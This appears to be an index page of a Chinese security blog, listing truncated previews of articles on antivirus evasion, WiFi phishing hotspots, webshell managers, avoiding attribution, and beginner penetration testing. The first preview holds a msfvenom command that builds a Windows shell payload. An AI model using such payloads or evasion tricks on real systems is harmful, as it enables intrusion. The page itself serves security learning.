免杀技术实际演示
生成反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shellmsfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lpor...
你也能在微信中拥有独一无二的随身AI
前言如果能把AI装进微信，自己还能投喂知识，让好朋友都能用上你的这个AI，是不是一件很酷的事？平台简介地址：coze.cn这个平台可和普通的AI大模型平台不同哦，普通的AI平台是“开袋即食”，进...
【蓝队利器】Windows安全基线检测和加固工具
免责声明：由于传播、利用本站所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本站及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即...
AI赋能，终端焕发炫酷新貌
前言开发者朋友们，每天面对冷冰冰的终端窗口，是不是很想换个“高配”工具？今天给大家安利一款 GitHub 超火的开源终端工具——Warp。它不仅自带 AI 助手，还兼容 zsh、bash 等主流 Shell，完...
DD安全助手V1.3来啦，全新升级守护你的电脑安全！
✨简介 DD安全助手是一款集成多种安全功能的工具箱，旨在帮助用户快速进行威胁情报查询、网络排查、主机信息收集、主机日志分析、IP类处理等安全相关操作 💡功能说明 1.情报查询模块： API配...
新手第一次渗透测试的分享和小结
说在前面首先很重要的是授权 ~ 首先很重要的是授权 ~ 首先很重要的是授权 ~之前也看过很多关于渗透测试的文章，但是因为一些现实因素等等问题，没（bu）有(gan)真正实操，最近由于一次偶然的机...
kali下搭建WiFi钓鱼热点
在linux下建立无线热点并不像在windows下开启网络共享或者使用无线网卡驱动设置AP模式即可。linux下的无线共享要用到两个软件：hostapd(创建无线热点)、dnsmasq(dns服务和dhcp服务).安装以上两...
独家揭秘：一个FOFA账号大变身，解锁团队协作新境界，成为团队协作的服务神器！
前言在当今的数字化时代，网络安全与信息收集成为企业运营中不可或缺的一环。FOFA（一种网络空间搜索引擎）作为强大的网络资产搜索工具，被广泛应用于安全审计、漏洞挖掘、应急响应等领域。对于...
黑客攻防实战：揭秘网站攻击的真相与应对策略（一）攻击篇
免责申明本教程的技术文章仅供参考，只用于教育目的，只是演示一些工具和工具的使用以及渗透思路，大佬勿喷，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进...
零基础从零到拿一下WordPress博客网站
实战步骤 1：主机扫描发现 采用arp-scan.netdiscover.fping nmap等工具，对网络进行主机发现扫描实战步骤2：端口服务扫描使用nmap对发现的主机IP进行端口服务扫描命令： nmap -sS -sV -p- -v -...
渗透测试反溯源
为什么要反溯源在很多企业src，或者在攻防演练的过程中如何避免被溯源？很多小白为了CNVD证书，不断的去寻找一些权重比较大的公司的业务系统进行渗透测试，但是这些系统都是没有经过授权的，那...
Webshell网站管理工具推荐
前言这篇文章笔者整理了目前所见到过的使用多的Webshell网站管理工具，这里只对这些工具做了简单介绍，并没有写具体使用方式，大家如果有兴趣可以自己去看一下使用说明，同时也欢迎大家补充一些...
干货 | 对渗透新人的建议
推荐阅读一、对渗透新人成长的建议挖洞一定要去实战，不能只在漏洞环境复现漏洞，实战和环境是不一样的。实战环境的选择：漏洞盒子：新人建议首先去寻找漏洞和挖洞，漏洞盒子接受大多数互联网漏...
